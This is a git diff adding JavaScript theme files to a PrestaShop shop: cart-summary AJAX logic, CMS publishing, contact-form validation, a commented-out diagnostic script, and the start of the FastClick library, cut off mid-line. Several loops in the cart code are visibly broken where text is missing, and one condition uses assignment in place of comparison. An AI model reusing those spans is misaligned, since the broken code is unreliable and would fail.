+ { + // The product exist + if ($('#product_'+id_product+'_'+id_product_attribute+'_0_'+new_id_address_delivery).length) + { + updateCartSummary(jsonData.summary); + updateCustomizedDatas(jsonData.customizedDatas); + updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + if (typeof(getCarrierListAndUpdate) !== 'undefined') + getCarrierListAndUpdate(); + + // @todo reverse the remove order + // This effect remove the current line, but it's better to remove the other one, and refresshing this one + $('#product_'+id_product+'_'+id_product_attribute+'_0_'+old_id_address_delivery).remove(); + + // @todo improve customization upgrading + $('.product_'+id_product+'_'+id_product_attribute+'_0_'+old_id_address_delivery).remove(); + } + + if (window.ajaxCart != undefined) + ajaxCart.refresh(); + updateAddressId(id_product, id_product_attribute, old_id_address_delivery, new_id_address_delivery); + cleanSelectAddressDelivery(); + } + } + }); + } + else if (new_id_address_delivery == -1) // Adding a new address + window.location = $($('.address_add a')[0]).attr('href'); + else if (new_id_address_delivery == -2) // Add a new line for this product + { + // This test is will not usefull in the future + if (old_id_address_delivery == 0) + { + alert(txtSelectAnAddressFirst); + return false; + } + + // Get new address to deliver + var id_address_delivery = 0; + var options = $('#select_address_delivery_'+id_product+'_'+id_product_attribute+'_'+old_id_address_delivery+' option'); + $.each(options, function(i) { + // Check the address is not already used for a similare products + if ($(options[i]).val() > 0 && $(options[i]).val() !== old_id_address_delivery && $('#product_' + id_product + '_' + id_product_attribute + '_0_' + $(options[i]).val()).length == 0) + { + id_address_delivery = $(options[i]).val(); + return false; + } + }); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + context: obj, + data: 'controller=cart' + +'&ajax=true&duplicate=true&summary=true' + +'&id_product='+id_product + +'&id_product_attribute='+id_product_attribute + +'&id_address_delivery='+old_id_address_delivery + +'&new_id_address_delivery='+id_address_delivery + +'&token='+static_token + +'&allow_refresh=1', + success: function(jsonData) + { + if (jsonData.error) + { + alert(jsonData.reason); + return; + } + + var line = $('#product_' + id_product+'_' + id_product_attribute + '_0_' + old_id_address_delivery); + var new_line = line.clone(); + updateAddressId(id_product, id_product_attribute, old_id_address_delivery, id_address_delivery, new_line); + line.after(new_line); + new_line.find('input[name=quantity_' + id_product+'_' + id_product_attribute + '_0_' + old_id_address_delivery + '_hidden]') + .val(1); + new_line.find('.cart_quantity_input') + .val(1); + $('#select_address_delivery_' + id_product+'_' + id_product_attribute + '_' + old_id_address_delivery).val(old_id_address_delivery); + $('#select_address_delivery_' + id_product+'_' + id_product_attribute + '_' + id_address_delivery).val(id_address_delivery); + + + cleanSelectAddressDelivery(); + + updateCartSummary(jsonData.summary); + + if (window.ajaxCart !== undefined) + ajaxCart.refresh(); + } + }); + } + return true; +} + +function updateAddressId(id_product, id_product_attribute, old_id_address_delivery, id_address_delivery, line) +{ + + if (typeof(line) == 'undefined' || line.length == 0) + line = $('#cart_summary tr[id^=product_' + id_product + '_' + id_product_attribute + '_0_], #cart_summary tr[id^=product_' + id_product + '_' + id_product_attribute + '_nocustom_]'); + + $('.product_customization_for_' + id_product + '_' + id_product_attribute + '_' + old_id_address_delivery).each(function(){ + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_' + id_address_delivery)).removeClass('product_customization_for_' + id_product + '_' + id_product_attribute + '_' + old_id_address_delivery + ' address_' + old_id_address_delivery).addClass('product_customization_for_' + id_product + '_' + id_product_attribute + '_' + id_address_delivery + ' address_' + id_address_delivery); + $(this).find('input[name^=quantity_]').each(function(){ + if (typeof($(this).attr('name')) != 'undefined') + $(this).attr('name', $(this).attr('name').replace(/_\d+(_hidden|)$/, '_' + id_address_delivery)); + }); + $(this).find('a').each(function(){ + if (typeof($(this).attr('href')) != 'undefined') + $(this).attr('href', $(this).attr('href').replace(/id_address_delivery=\d+/, 'id_address_delivery=' + id_address_delivery)); + }); + }); + + line.attr('id', line.attr('id').replace(/_\d+$/, '_' + id_address_delivery)).removeClass('address_' + old_id_address_delivery).addClass('address_' + id_address_delivery).find('span[id^=cart_quantity_custom_], span[id^=total_product_price_], input[name^=quantity_], .cart_quantity_down, .cart_quantity_up, .cart_quantity_delete').each(function(){ + + if (typeof($(this).attr('name')) != 'undefined') + $(this).attr('name', $(this).attr('name').replace(/_\d+(_hidden|)$/, '_' + id_address_delivery)); + if (typeof($(this).attr('id')) != 'undefined') + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_' + id_address_delivery)); + if (typeof($(this).attr('href')) != 'undefined') + $(this).attr('href', $(this).attr('href').replace(/id_address_delivery=\d+/, 'id_address_delivery=' + id_address_delivery)); + }); + + line.find('#select_address_delivery_' + id_product + '_' + id_product_attribute + '_' + old_id_address_delivery).attr('id', 'select_address_delivery_' + id_product + '_' + id_product_attribute + '_' + id_address_delivery); + + if (window.ajaxCart !== undefined) + { + $('#cart_block_list dd, #cart_block_list dt').each(function(){ + if (typeof($(this).attr('id')) != 'undefined') + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_' + id_address_delivery)); + }); + } +} + +function updateQty(val, cart, el) +{ + var prefix = ""; + + if (typeof(cart) == 'undefined' || cart) + prefix = '#order-detail-content '; + else + prefix = '#fancybox-content '; + + var id = $(el).attr('name'); + + var exp = new RegExp("^[0-9]+$"); + + if (exp.test(val) == true) + { + var hidden = $(prefix+'input[name='+ id +'_hidden]').val(); + var input = $(prefix+'input[name='+ id +']').val(); + var QtyToUp = parseInt(input) - parseInt(hidden); + + if (parseInt(QtyToUp) > 0) + upQuantity(id.replace('quantity_', ''), QtyToUp); + else if(parseInt(QtyToUp) < 0) + downQuantity(id.replace('quantity_', ''), QtyToUp); + } + else + $(prefix+'input[name='+ id +']').val($(prefix+'input[name='+ id +'_hidden]').val()); + + if (typeof(getCarrierListAndUpdate) !== 'undefined') + getCarrierListAndUpdate(); +} + +function deleteProductFromSummary(id) +{ + var customizationId = 0; + var productId = 0; + var productAttributeId = 0; + var id_address_delivery = 0; + var ids = 0; + ids = id.split('_'); + productId = parseInt(ids[0]); + if (typeof(ids[1]) !== 'undefined') + productAttributeId = parseInt(ids[1]); + if (typeof(ids[2]) !== 'undefined' && ids[2] !== 'nocustom') + customizationId = parseInt(ids[2]); + if (typeof(ids[3]) !== 'undefined') + id_address_delivery = parseInt(ids[3]); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart' + +'&ajax=true&delete=true&summary=true' + +'&id_product='+productId + +'&ipa='+productAttributeId + +'&id_address_delivery='+id_address_delivery + + ((customizationId !== 0) ? '&id_customization=' + customizationId : '') + +'&token=' + static_token + +'&allow_refresh=1', + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if (error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + } + else + { + if (jsonData.refresh) + location.reload(); + if (parseInt(jsonData.summary.products.length) == 0) + { + if (typeof(orderProcess) == 'undefined' || orderProcess !== 'order-opc') + document.location.href = document.location.href; // redirection + else + { + // $('#center_column').children().each(function() { + // if ($(this).attr('id') !== 'emptyCartWarning' && $(this).attr('class') !== 'breadcrumb' && $(this).attr('id') !== 'cart_title') + // { + // $(this).fadeOut('slow', function () { + // $(this).remove(); + // }); + // } + // }); + $('.order-opc-leftColumn .contenu').remove(); + // $('#summary_products_label').remove(); + $('.emptyCartWarning').fadeIn('slow'); + } + } + else + { + $('#product_'+ id).fadeOut('slow', function() { + $(this).remove(); + cleanSelectAddressDelivery(); + if (!customizationId) + refreshOddRow(); + }); + var exist = false; + for (i=0;i 0)) + exist = true; + } + // if all customization removed => delete product line + if (!exist && customizationId) + $('#product_' + productId + '_' + productAttributeId + '_0_' + id_address_delivery).fadeOut('slow', function() { + $(this).remove(); + var line = $('#product_' + productId + '_' + productAttributeId + '_nocustom_' + id_address_delivery); + if (line.length > 0) + { + line.find('input[name^=quantity_], .cart_quantity_down, .cart_quantity_up, .cart_quantity_delete').each(function(){ + if (typeof($(this).attr('name')) != 'undefined') + $(this).attr('name', $(this).attr('name').replace(/nocustom/, '0')); + if (typeof($(this).attr('id')) != 'undefined') + $(this).attr('id', $(this).attr('id').replace(/nocustom/, '0')); + }); + line.find('span[id^=total_product_price_]').each(function(){ + $(this).attr('id', $(this).attr('id').replace(/_nocustom/, '')); + }); + line.attr('id', line.attr('id').replace(/nocustom/, '0')); + } + refreshOddRow(); + }); + } + updateCartSummary(jsonData.summary); + updateCustomizedDatas(jsonData.customizedDatas); + updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + if (typeof(getCarrierListAndUpdate) !== 'undefined' && jsonData.summary.products.length > 0) + getCarrierListAndUpdate(); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save update quantity \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); +} + +function refreshOddRow() +{ + var odd_class = 'odd'; + var even_class = 'even'; + $.each($('.cart_item'), function(i, it) + { + if (i == 0) // First item + { + if ($(this).hasClass('even')) + { + odd_class = 'even'; + even_class = 'odd'; + } + $(this).addClass('first_item'); + } + if(i % 2) + $(this).removeClass(odd_class).addClass(even_class); + else + $(this).removeClass(even_class).addClass(odd_class); + }); + $('.cart_item:last-child, .customization:last-child').addClass('last_item'); +} + +function upQuantity(id, qty) +{ + if (typeof(qty) == 'undefined' || !qty) + qty = 1; + var customizationId = 0; + var productId = 0; + var productAttributeId = 0; + var id_address_delivery = 0; + var ids = 0; + ids = id.split('_'); + productId = parseInt(ids[0]); + if (typeof(ids[1]) !== 'undefined') + productAttributeId = parseInt(ids[1]); + if (typeof(ids[2]) !== 'undefined' && ids[2] !== 'nocustom') + customizationId = parseInt(ids[2]); + if (typeof(ids[3]) !== 'undefined') + id_address_delivery = parseInt(ids[3]); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart' + +'&ajax=true' + +'&add=true' + +'&getproductprice=true' + +'&summary=true' + +'&id_product=' + productId + +'&ipa=' + productAttributeId + +'&id_address_delivery=' + id_address_delivery + + ((customizationId !== 0) ? '&id_customization=' + customizationId : '') + +'&qty=' + qty + +'&token=' + static_token + +'&allow_refresh=1', + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + $('input[name=quantity_'+ id +']').val($('input[name=quantity_'+ id +'_hidden]').val()); + } + else + { + if (jsonData.refresh) + location.reload(); + updateCartSummary(jsonData.summary); + if (customizationId !== 0) + updateCustomizedDatas(jsonData.customizedDatas); + updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + if (typeof(getCarrierListAndUpdate) !== 'undefined') + getCarrierListAndUpdate(); + if (typeof(updatePaymentMethodsDisplay) !== 'undefined') + updatePaymentMethodsDisplay(); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save update quantity \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); +} + +function downQuantity(id, qty) +{ + var val = $('input[name=quantity_'+id+']').val(); + var newVal = val; + if(typeof(qty) == 'undefined' || !qty) + { + qty = 1; + newVal = val - 1; + } + else if (qty < 0) + qty = -qty; + + var customizationId = 0; + var productId = 0; + var productAttributeId = 0; + var id_address_delivery = 0; + var ids = 0; + + ids = id.split('_'); + productId = parseInt(ids[0]); + if (typeof(ids[1]) !== 'undefined') + productAttributeId = parseInt(ids[1]); + if (typeof(ids[2]) !== 'undefined' && ids[2] !== 'nocustom') + customizationId = parseInt(ids[2]); + if (typeof(ids[3]) !== 'undefined') + id_address_delivery = parseInt(ids[3]); + + if (newVal > 0 || $('#product_'+id+'_gift').length) + { + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType: 'json', + data: 'controller=cart' + +'&ajax=true' + +'&add=true' + +'&getproductprice=true' + +'&summary=true' + +'&id_product='+productId + +'&ipa='+productAttributeId + +'&id_address_delivery='+id_address_delivery + +'&op=down' + + ((customizationId !== 0) ? '&id_customization='+customizationId : '') + +'&qty='+qty + +'&token='+static_token + +'&allow_refresh=1', + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + $('input[name=quantity_'+ id +']').val($('input[name=quantity_'+ id +'_hidden]').val()); + } + else + { + if (jsonData.refresh) + location.reload(); + updateCartSummary(jsonData.summary); + if (customizationId !== 0) + updateCustomizedDatas(jsonData.customizedDatas); + updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + + if (newVal == 0) + $('#product_'+id).hide(); + + if (typeof(getCarrierListAndUpdate) !== 'undefined') + getCarrierListAndUpdate(); + if (typeof(updatePaymentMethodsDisplay) !== 'undefined') + updatePaymentMethodsDisplay(); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save update quantity \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); + + } + else + { + deleteProductFromSummary(id); + } +} + +function updateCartSummary(json) +{ + var i; + var nbrProducts = 0; + var product_list = new Array(); + + if (typeof json == 'undefined') + return; + + setTimeout(function(){ + $('div.error').fadeOut(); + },5000); + + for (i=0;i product_list[i].price) + initial_price_text = '' + initial_price + '
        '; + + var key_for_blockcart = product_list[i].id_product + '_' + product_list[i].id_product_attribute + '_' + product_list[i].id_address_delivery; + var key_for_blockcart_nocustom = product_list[i].id_product + '_' + product_list[i].id_product_attribute + '_' + ((product_list[i].quantity_without_customization != product_list[i].quantity)? 'nocustom' : '0') + '_' + product_list[i].id_address_delivery; + + if (priceDisplayMethod !== 0) + { + $('#product_price_' + key_for_blockcart).html(initial_price_text + current_price); + if (typeof(product_list[i].customizationQuantityTotal) !== 'undefined' && product_list[i].customizationQuantityTotal > 0) + $('#total_product_price_' + key_for_blockcart).html(formatCurrency(product_list[i].total_customization, currencyFormat, currencySign, currencyBlank)); + else + $('#total_product_price_' + key_for_blockcart).html(formatCurrency(product_list[i].total, currencyFormat, currencySign, currencyBlank)); + if (product_list[i].quantity_without_customization != product_list[i].quantity) + $('#total_product_price_' + key_for_blockcart_nocustom).html(formatCurrency(product_list[i].total, currencyFormat, currencySign, currencyBlank)); + } + else + { + $('#product_price_' + key_for_blockcart).html(initial_price_text + current_price); + if (typeof(product_list[i].customizationQuantityTotal) !== 'undefined' && product_list[i].customizationQuantityTotal > 0) + $('#total_product_price_' + key_for_blockcart).html(formatCurrency(product_list[i].total_customization_wt, currencyFormat, currencySign, currencyBlank)); + else + $('#total_product_price_' + key_for_blockcart).html(formatCurrency(product_list[i].total_wt, currencyFormat, currencySign, currencyBlank)); + if (product_list[i].quantity_without_customization != product_list[i].quantity) + $('#total_product_price_' + key_for_blockcart_nocustom).html(formatCurrency(product_list[i].total_wt, currencyFormat, currencySign, currencyBlank)); + } + $('input[name=quantity_' + key_for_blockcart_nocustom + ']').val(product_list[i].quantity_without_customization); + $('input[name=quantity_' + key_for_blockcart_nocustom + '_hidden]').val(product_list[i].quantity_without_customization); + if (typeof(product_list[i].customizationQuantityTotal) !== 'undefined' && product_list[i].customizationQuantityTotal > 0) + $('#cart_quantity_custom_' + key_for_blockcart).html(product_list[i].customizationQuantityTotal); + nbrProducts += parseInt(product_list[i].quantity); + } + + // Update discounts + if (json.discounts.length == 0) + { + $('.cart_discount').each(function(){$(this).remove();}); + $('.cart_total_voucher').remove(); + } + else + { + if ($('.cart_discount').length == 0) + location.reload(); + + if (priceDisplayMethod !== 0) + $('#total_discount').html('-' + formatCurrency(json.total_discounts_tax_exc, currencyFormat, currencySign, currencyBlank)); + else + $('#total_discount').html('-' + formatCurrency(json.total_discounts, currencyFormat, currencySign, currencyBlank)); + + $('.cart_discount').each(function(){ + var idElmt = $(this).attr('id').replace('cart_discount_',''); + var toDelete = true; + + for (i=0;i 0) + { + if (priceDisplayMethod !== 0) + { + $('#cart_block_shipping_cost').html(formatCurrency(json.total_shipping_tax_exc, currencyFormat, currencySign, currencyBlank)); + $('#cart_block_wrapping_cost').html(formatCurrency(json.total_wrapping_tax_exc, currencyFormat, currencySign, currencyBlank)); + $('#cart_block_total').html(formatCurrency(json.total_price_without_tax, currencyFormat, currencySign, currencyBlank)); + } + else + { + $('#cart_block_shipping_cost').html(formatCurrency(json.total_shipping, currencyFormat, currencySign, currencyBlank)); + $('#cart_block_wrapping_cost').html(formatCurrency(json.total_wrapping, currencyFormat, currencySign, currencyBlank)); + $('#cart_block_total').html(formatCurrency(json.total_price, currencyFormat, currencySign, currencyBlank)); + } + } + else + { + if (json.carrier.id == null) + { + $('#cart_block_shipping_cost').hide(); + $('#cart_block_shipping_cost').next().hide(); + } + } + // alert(json.total_products_wt); + $('#total_price_sansTransport').html(formatCurrency(json.total_products_wt-json.total_discounts, currencyFormat, currencySign, currencyBlank)); + if(json.total_products_wt-json.total_discounts>100){ + maxE=5; + decocherEchantillons(maxE); + if($('#echantillons input:checked').length=maxE){ + decocherEchantillons(maxE); + desactiverEch(); + // alert(maxE); + // alert(maxE); + } + } + $('.maxE').html(maxE); + + if( (json.total_products_wt-json.total_discounts) >= 60){ + $('.free_ship .notfree').hide(); + $('.free_ship .free').show(); + + }else{ + $('.free_ship .free').hide(); + $('.free_ship .notfree span').html(formatCurrency(60-json.total_products_wt+json.total_discounts, currencyFormat, currencySign, currencyBlank)); + $('.free_ship .notfree').show(); + } + + $('#cart_block_tax_cost').html(formatCurrency(json.total_tax, currencyFormat, currencySign, currencyBlank)); + $('.ajax_cart_quantity').html(nbrProducts); + + // Cart summary + $('#summary_products_quantity').html(nbrProducts+' '+(nbrProducts > 1 ? txtProducts : txtProduct)); + if (priceDisplayMethod !== 0) + $('#total_product').html(formatCurrency(json.total_products, currencyFormat, currencySign, currencyBlank)); + else + $('#total_product').html(formatCurrency(json.total_products_wt, currencyFormat, currencySign, currencyBlank)); + + $('#total_price').html(formatCurrency(json.total_price, currencyFormat, currencySign, currencyBlank)); + + $('#total_price_without_tax').html(formatCurrency(json.total_price_without_tax, currencyFormat, currencySign, currencyBlank)); + $('#total_tax').html(formatCurrency(json.total_tax, currencyFormat, currencySign, currencyBlank)); + + $('.cart_total_delivery').show(); + if (json.total_shipping > 0) + { + if (priceDisplayMethod !== 0) + $('#total_shipping').html(formatCurrency(json.total_shipping_tax_exc, currencyFormat, currencySign, currencyBlank)); + else + $('#total_shipping').html(formatCurrency(json.total_shipping, currencyFormat, currencySign, currencyBlank)); + } + else + { + if (json.carrier.id != null) + $('#total_shipping').html(freeShippingTranslation); + else + $('.cart_total_delivery').hide(); + } + + if (json.free_ship > 0 && !json.is_virtual_cart) + { + $('.cart_free_shipping').fadeIn(); + $('#free_shipping').html(formatCurrency(json.free_ship, currencyFormat, currencySign, currencyBlank)); + } + else + $('.cart_free_shipping').hide(); + + if (json.total_wrapping > 0) + { + $('#total_wrapping').html(formatCurrency(json.total_wrapping, currencyFormat, currencySign, currencyBlank)); + $('#total_wrapping').parent().show(); + } + else + { + $('#total_wrapping').html(formatCurrency(json.total_wrapping, currencyFormat, currencySign, currencyBlank)); + $('#total_wrapping').parent().hide(); + } + + if(json.is_virtual_cart) + { + $('#echantillons').hide(); + $('#modeDeLivraison').hide(); + } + else + { + $('#echantillons').show(); + $('#modeDeLivraison').show(); + } + + if (window.ajaxCart !== undefined) + ajaxCart.refresh(); +} + +function updateCustomizedDatas(json) +{ + for(var i in json) + for(var j in json[i]) + for(var k in json[i][j]) + for(var l in json[i][j][k]) + { + var quantity = json[i][j][k][l]['quantity']; + $('input[name=quantity_'+i+'_'+j+'_'+l+'_'+k+'_hidden]').val(quantity); + $('input[name=quantity_'+i+'_'+j+'_'+l+'_'+k+']').val(quantity); + } +} + +function updateHookShoppingCart(html) +{ + $('#HOOK_SHOPPING_CART').html(html); +} + +function updateHookShoppingCartExtra(html) +{ + $('#HOOK_SHOPPING_CART_EXTRA').html(html); +} +function refreshDeliveryOptions() +{ + $.each($('.delivery_option_radio'), function() { + if ($(this).prop('checked')) + { + if ($(this).parent().find('.delivery_option_carrier.not-displayable').length == 0) + $(this).parent().find('.delivery_option_carrier').show(); + var carrier_id_list = $(this).val().split(','); + carrier_id_list.pop(); + var it = this; + $(carrier_id_list).each(function() { + $(it).parent().find('input[value="'+this.toString()+'"]').change(); + }); + } + else + $(this).parent().find('.delivery_option_carrier').hide(); + }); +} +$(document).ready(function() { + + var compteurInput=$('#echantillons input:checked').length; + // alert(maxE+" "+compteurInput); + // alert(maxE+" "+compteurInput); + if(compteurInput>=maxE) + desactiverEch(); + + refreshDeliveryOptions(); + + $('.delivery_option_radio').live('change', function() { + refreshDeliveryOptions(); + }); + + $('#allow_seperated_package').live('click', function() { + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: baseUri + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'controller=cart&ajax=true&allowSeperatedPackage=true&value=' + +($(this).prop('checked') ? '1' : '0') + +'&token='+static_token + +'&allow_refresh=1', + success: function(jsonData) + { + if (typeof(getCarrierListAndUpdate) !== 'undefined') + getCarrierListAndUpdate(); + } + }); + }); + + $('#gift').checkboxChange(function() { $('#gift_div').show('slow'); }, function() { $('#gift_div').hide('slow'); }); + + $('#enable-multishipping').checkboxChange( + function() { + $('.standard-checkout').hide(0); + $('.multishipping-checkout').show(0); + }, + function() { + $('.standard-checkout').show(0); + $('.multishipping-checkout').hide(0); + } + ); +}); + +function updateExtraCarrier(id_delivery_option, id_address) +{ + var url = ""; + + if(typeof(orderOpcUrl) !== 'undefined') + url = orderOpcUrl; + else + url = orderUrl; + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: url + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true' + +'&method=updateExtraCarrier' + +'&id_address='+id_address + +'&id_delivery_option='+id_delivery_option + +'&token='+static_token + +'&allow_refresh=1', + success: function(jsonData) + { + updateCartSummary(jsonData['summary']); + $('#HOOK_EXTRACARRIER_'+id_address).html(jsonData['content']); + }, + error: function(jsonData) + { + } + }); + + +} diff --git a/themes/default/js/cms.js b/themes/default/js/cms.js new file mode 100755 index 0000000..53dccef --- /dev/null +++ b/themes/default/js/cms.js @@ -0,0 +1,48 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function submitPublishCMS(url, redirect, token) +{ + var id_cms = $('#admin-action-cms-id').val(); + + $.ajaxSetup({async: false}); + $.post(url+'/index.php', { + action: 'PublishCMS', + id_cms: id_cms, + status: 1, + redirect: redirect, + ajax: 1, + tab: 'AdminCmsContent', + token: token + }, + function(data) + { + if (data.indexOf('error') === -1) + document.location.href = data; + } + ); + + return true; +} \ No newline at end of file diff --git a/themes/default/js/contact-form.js b/themes/default/js/contact-form.js new file mode 100755 index 0000000..828ab83 --- /dev/null +++ b/themes/default/js/contact-form.js @@ -0,0 +1,72 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(document).ready(function () { + $('select[name=id_order]').change(function () { + showProductSelect($(this).attr('value')); + }); +}); + +function showProductSelect(id_order) +{ + $('.product_select').hide().attr('disabled', 'disabled'); + $('#'+id_order+'_order_products').show().removeAttr('disabled'); +} +function checkform(formID){ + var error=0; + $('#'+formID+' label sup').each(function(){ + if($(this).parent().find('span.erreur').length==0) + $('.champObligatoire span').clone().insertAfter($(this)); + var id=$(this).parent().next().attr('id'); + + if($('#'+id).val()!="" || ($('#'+id).val()!=0 && id=="id_contact")){ + $(this).parent().find('span.erreur').addClass('hidden'); + }else{ + $(this).parent().find('span.erreur').removeClass('hidden'); + error=1; + } + }); + + if(error==0) + return true; + return false; +} + + + + + + + + + + + + + + + + + diff --git a/themes/default/js/diagnostic.js b/themes/default/js/diagnostic.js new file mode 100755 index 0000000..c859db7 --- /dev/null +++ b/themes/default/js/diagnostic.js @@ -0,0 +1,35 @@ +// $(document).ready(function(){ + +// }); +function checkDiagnostic(idForm,url){ + // $('#'+idForm).attr('action','javascript:void(0)'); + // alert($('#'+idForm).attr('action')); + // var newError=false; + // $('#'+idForm+' p,#'+idForm+' p label').removeClass('erreur'); + // $('#'+idForm+' .required').each(function(){ + // if($(this).hasClass('radio') || $(this).hasClass('checkbox')){ + // if($(this).find('input:checked').length<1){ + // newError=true; + // $(this).prev().addClass('erreur'); + // $(this).find('label').addClass('erreur'); + // } + // } + // }); + + // if(newError==false){ + // $('#'+idForm).attr('action',url); + // return true; + // } + // alert($('#'+idForm).attr('action')); + // return false; + +} +// $(document).ready(function(){ + // $('.formulaire .required input').click(function(){ + // var newID=$(this).attr('id'); + // if($('#lien_'+newID).length>0) + // $('#lien_'+newID).click(); + // }); + + +// }); \ No newline at end of file diff --git a/themes/default/js/espacepharmaciens.js b/themes/default/js/espacepharmaciens.js new file mode 100755 index 0000000..e69de29 diff --git a/themes/default/js/fastclick.js b/themes/default/js/fastclick.js new file mode 100755 index 0000000..8aad730 --- /dev/null +++ b/themes/default/js/fastclick.js @@ -0,0 +1,805 @@ +(function () { + 'use strict'; + + /** + * @preserve FastClick: polyfill to remove click delays on browsers with touch UIs. + * + * @version 1.0.3 + * @codingstandard ftlabs-jsv2 + * @copyright The Financial Times Limited [All Rights Reserved] + * @license MIT License (see LICENSE.txt) + */ + + /*jslint browser:true, node:true*/ + /*global define, Event, Node*/ + + + /** + * Instantiate fast-clicking listeners on the specified layer. + * + * @constructor + * @param {Element} layer The layer to listen on + * @param {Object} options The options to override the defaults + */ + function FastClick(layer, options) { + var oldOnClick; + + options = options || {}; + + /** + * Whether a click is currently being tracked. + * + * @type boolean + */ + this.trackingClick = false; + + + /** + * Timestamp for when click tracking started. + * + * @type number + */ + this.trackingClickStart = 0; + + + /** + * The element being tracked for a click. + * + * @type EventTarget + */ + this.targetElement = null; + + + /** + * X-coordinate of touch start event. + * + * @type number + */ + this.touchStartX = 0; + + + /** + * Y-coordinate of touch start event. + * + * @type number + */ + this.touchStartY = 0; + + + /** + * ID of the last touch, retrieved from Touch.identifier. + * + * @type number + */ + this.lastTouchIdentifier = 0; + + + /** + * Touchmove boundary, beyond which a click will be cancelled. + * + * @type number + */ + this.touchBoundary = options.touchBoundary || 10; + + + /** + * The FastClick layer. + * + * @type Element + */ + this.layer = layer; + + /** + * The minimum time between tap(touchstart and touchend) events + * + * @type number + */ + this.tapDelay = options.tapDelay || 200; + + if (FastClick.notNeeded(layer)) { + return; + } + + // Some old versions of Android don't have Function.prototype.bind + function bind(method, context) { + return function() { return method.apply(context, arguments); }; + } + + + var methods = ['onMouse', 'onClick', 'onTouchStart', 'onTouchMove', 'onTouchEnd', 'onTouchCancel']; + var context = this; + for (var i = 0, l = methods.length; i < l; i++) { + context[methods[i]] = bind(context[methods[i]], context); + } + + // Set up event handlers as required + if (deviceIsAndroid) { + layer.addEventListener('mouseover', this.onMouse, true); + layer.addEventListener('mousedown', this.onMouse, true); + layer.addEventListener('mouseup', this.onMouse, true); + } + + layer.addEventListener('click', this.onClick, true); + layer.addEventListener('touchstart', this.onTouchStart, false); + layer.addEventListener('touchmove', this.onTouchMove, false); + layer.addEventListener('touchend', this.onTouchEnd, false); + layer.addEventListener('touchcancel', this.onTouchCancel, false); + + // Hack is required for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2) + // which is how FastClick normally stops click events bubbling to callbacks registered on the FastClick + // layer when they are cancelled. + if (!Event.prototype.stopImmediatePropagation) { + layer.removeEventListener = function(type, callback, capture) { + var rmv = Node.prototype.removeEventListener; + if (type === 